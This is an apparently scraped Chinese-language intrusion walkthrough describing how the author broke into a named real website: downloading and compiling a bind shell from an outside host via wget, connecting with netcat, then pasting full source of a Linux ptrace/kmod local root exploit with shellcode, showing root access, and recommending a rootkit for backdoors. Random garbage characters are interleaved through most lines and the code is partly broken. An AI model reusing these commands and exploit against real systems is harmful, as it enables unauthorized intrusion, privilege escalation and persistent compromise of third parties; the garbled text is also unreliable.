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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了," }' P$ p+ m# b) e& X' w7 {5 p
就可以用wget这个命令来下载了,输入
7 n. f0 j1 I, g7 m2 [- s$ `0 rwget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
! i0 b, I y$ `* q就是下载这个shell.c到/tmp目录下,如图6 % |+ a. I6 N' y2 K; N
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain8 U1 U( v5 w) q, g0 d2 l' q
2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs
% M1 _! d p% l$ v1 Q这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
3 A3 T: W# l. ^; H在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果
" W& g8 P" o' |/ U) S1 X z4 q[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
' B0 r% J9 ?' B2 S' c: ]( O8 S$ M* Z% O12gcc: /usr/bin/gcc6 [1 x9 U9 q; u# U- G0 c5 w
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind5 [0 J- y. e2 A: M; r
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,' h) L, }: M9 s. {1 h6 B4 \! h
/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
7 x' m. u2 I [% X5 ]8 P6 x们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000! z3 m6 q) D z7 a: C1 T6 Q( {$ O
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
! I* E5 E0 ^, z3 A8 }8 Q呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,6 l- ]4 u2 ~/ @7 W' ]
Note: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000
7 B7 ]8 ~8 U7 V6 b- T3 x; c' E4 }, K(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/* Z7 R# H0 c; l9 O# Y6 ?$ r* i+ S
* Linux kernel ptrace/kmod local root exploit3 F7 k! V& r- `( {. |: u
*
; P. y+ N5 `% S1 K* This code exploits a race condition in kernel/kmod.c, which creates
. v: ?7 s9 N& d, s+ C* kernel thread in insecure manner. This bug allows to ptrace cloned& U0 S" F1 H* ?* W. ?- P0 v
* process, allowing to take control over privileged modprobe binary.
0 u% X, j7 i: l" f$ f* ^7 a% y*5 u# F6 L5 C5 R3 J. t6 }, A
* Should work under all current 2.2.x and 2.4.x kernels.. b3 f& g' H+ L; j; x6 w
* 8 G" b8 ^2 E: m( N! z
* I discovered this stupid bug independently on January 25, 2003, that
# H: N+ |; C( ]1 ?! ]) H9 l2 a* is (almost) two month before it was fixed and published by Red Hat. X, G: ~$ [2 Y1 f T4 `% R
* and others.' `8 r6 b, r9 O. R
*
, i" ~( l9 K) g& n- W) a* Wojciech Purczynski <cliph@isec.pl>/ C9 G2 l1 n3 B1 ~ q8 B
*/ v% _; j" H3 P4 u
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
$ Q) V; V G& R! ^5 \) Q* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
+ z! z! Z+ \: p, _+ f D* 2 n& u$ m3 L" _" f5 k: j. s
* (c) 2003 Copyright by iSEC Security Research& c: Y* ]- B# I
*/ #include , y2 Y% N' Q: w+ w( h. i$ v" I, ?" P
#include 8 A/ }% J5 l- {; a9 l+ ~0 r
#include
3 C/ s' [8 Q9 C5 [/ W* g y* Q#include 8 i: g6 n$ o; U$ U# r+ i
#include
* r8 h0 ]+ q/ S. l# F" ?( b#include
6 v2 K( U; b2 V! J#include ! O* d1 D( v1 q2 o* P
#include " c& F! R- Z8 d! ?* a
#include
" L& P: Z# d& _' Z8 D! Y) d- Z0 _ x#include 2 O# [9 T6 Q/ _' ?
#include ! o9 x$ P3 Y3 p- Q" Z) r
#include 8 R/ a8 n1 z1 f; i& b0 v- R
#include
& R9 p" x$ s2 q3 F: K; G4 T#include # K0 z0 F* l# J, T9 ?
#include
" d7 K* O- V5 O9 h% y+ t$ L* b#include char cliphcode[] =
! s- G/ V, N; F, E4 S. j"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"9 Q! `! N4 R1 s1 P; \: P% d
"\x00\x5b\x31\xc9\x89\xca\xcd\x80"/ M" Z4 D' ]' s& p: l: M
"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
3 I4 K* B, R! q: t$ }"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
. p( ?# `* Q5 L; x; [, K: e"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;) ~, M9 ]. J6 \6 J& v' ?
pid_t child = 1;4 x1 g, y% x( t! e* p
pid_t victim = 1;
! Z2 _; k( a5 l+ Pvolatile int gotchild = 0; void fatal(char * msg)% n" f6 H! X" P. w: b0 x
{
# Z% P# h! p8 Y5 k; tperror(msg);7 n4 Y( q( N5 H/ X* P
kill(parent, SIGKILL);
3 l4 B N& E/ N0 B' Rkill(child, SIGKILL);( e" o) _( h* g% ?6 }
kill(victim, SIGKILL);
V% g% B" Y/ K4 m} void putcode(unsigned long * dst). @( h! ^8 E9 T2 }
{* w0 v. }6 K9 H0 c
char buf[MAXPATHLEN + CODE_SIZE];
2 D5 [( h/ m/ l Xunsigned long * src;, g, ?9 A6 M; W& d. v* P
int i, len; memcpy(buf, cliphcode, CODE_SIZE);) H: r' `0 C7 c! r3 Y
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);
; y( ?0 n& y( s7 _# tif (len == -1)6 s H0 D* R4 v* `' x- b) @( y
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
+ ^+ H1 [9 ]! h$ i% v5 K9 v. @2 M/ Vbuf[len] = '\0'; src = (unsigned long*) buf;
+ C9 ?0 e1 T0 D; S; kfor (i = 0; i < len; i += 4)' o( J, ]8 R$ t
if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
3 ^. F# ]7 I* S) T$ {" ffatal("[-] Unable to write shellcode");; K* _5 d+ o& r# h
} void sigchld(int signo)
9 D5 O& |; F, N1 ]2 ~) e6 }{# V m! w z" \ R1 ?6 [3 ~0 }
struct user_regs_struct regs; if (gotchild++ == 0). Q- X- B" Q8 N5 d# @' Q% \3 p
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
+ C& |3 P3 ?. P. _/ `1 w. Ifatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
+ V3 f0 Y6 l: ^! T% n5 W" }8 Wfatal("[-] Unable to detach from victim"); exit(0);+ u3 w {9 H+ A9 i5 Y; ]- A2 ]
} void sigalrm(int signo)
* U: a3 y4 I0 z8 j7 E8 A6 W* {9 P{9 P. ^. _# w# v' g
errno = ECANCELED;
9 U4 Z3 W9 k5 g+ L, \fatal("[-] Fatal error");# k1 }+ }) o$ K. e/ {
} void do_child(void)- K; v: f/ U( z1 w/ H3 u
{8 ]; {: G: I' f# ?
int err; child = getpid();1 p7 B' v2 G1 z
victim = child + 1; signal(SIGCHLD, sigchld); do
@& {0 F- k& Y3 Oerr = ptrace(PTRACE_ATTACH, victim, 0, 0);
& q. ` ]) w7 j& J I' N/ e) [while (err == -1 && errno == ESRCH); if (err == -1)4 a* e& Q1 v _/ {3 h
fatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);( P, ]1 r* `9 \+ Q5 z0 g
while (!gotchild) ;/ e0 G: a3 t6 Z9 Y
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)- a, G z9 z0 b. }1 x
fatal("[-] Unable to setup syscall trace");4 t9 Z; V" Y/ \7 {, k) W
fprintf(stderr, "[+] Waiting for signal\n"); for(;;);
2 ]3 {# F; [+ |0 q" i+ d9 S. T} void do_parent(char * progname)- |9 t& K$ O% _& e
{' O, X( h$ R! n9 K. J$ U
struct stat st;0 }: {& c7 m5 R) l! S, N: s
int err;
/ T. C% Z6 T5 E$ `errno = 0;
4 Q. H+ x& Z; c) ?5 k& d6 [% z4 E- Msocket(AF_SECURITY, SOCK_STREAM, 1);
- u/ a+ ?, i( g3 g, z# y$ k) Tdo {, R! z7 M, X7 z2 ~! ?) [
err = stat(progname, &st);
9 ?. a3 Y* A5 Q( K} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)
7 K" G. A. Y" m, {. Afatal("[-] Unable to stat myself"); alarm(0);5 I) E/ X% w3 ?/ V0 _# j9 p
system(progname);
" y) q& I, w3 j} void prepare(void)6 e8 s6 ?0 ], P* l$ M( W3 T
{
7 j' O+ U* C3 ?/ B6 P5 g; yif (geteuid() == 0) {# E/ p7 A" m$ u7 M+ s# }7 \6 V8 ~
initgroups("root", 0);
" x8 R7 `1 O Q' D7 J3 j4 Zsetgid(0);5 G1 P) E' t: Y) ^, p$ L$ g
setuid(0);+ u: d1 C6 W! Y# w
execl(_PATH_BSHELL, _PATH_BSHELL, NULL);% d) z/ t7 } f
fatal("[-] Unable to spawn shell");
7 J9 N1 {# E$ k# \}2 m1 K2 u7 o: b
} int main(int argc, char ** argv)! G+ l" ^- a$ r9 n
{9 k/ p- E# q$ c. v. ?; J, d
prepare();4 E/ ~ \0 i% m' Z5 K
signal(SIGALRM, sigalrm);
+ j7 B$ }' D/ }/ F% ralarm(10); parent = getpid();
6 @, b- K( p5 E; @6 Xchild = fork();
6 E7 W0 S7 d' E" _: a% W5 A8 Avictim = child + 1; if (child == -1)* I X& b1 g( X# x
fatal("[-] Unable to fork"); if (child == 0), S, c% C6 l& _ d: l8 \5 V
do_child();% j9 b+ k; Z; p4 S T
else
2 {0 `/ B( n' A- T: W! gdo_parent(argv[0]); return 0;
" R& i" |2 {. Z1 d) u}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |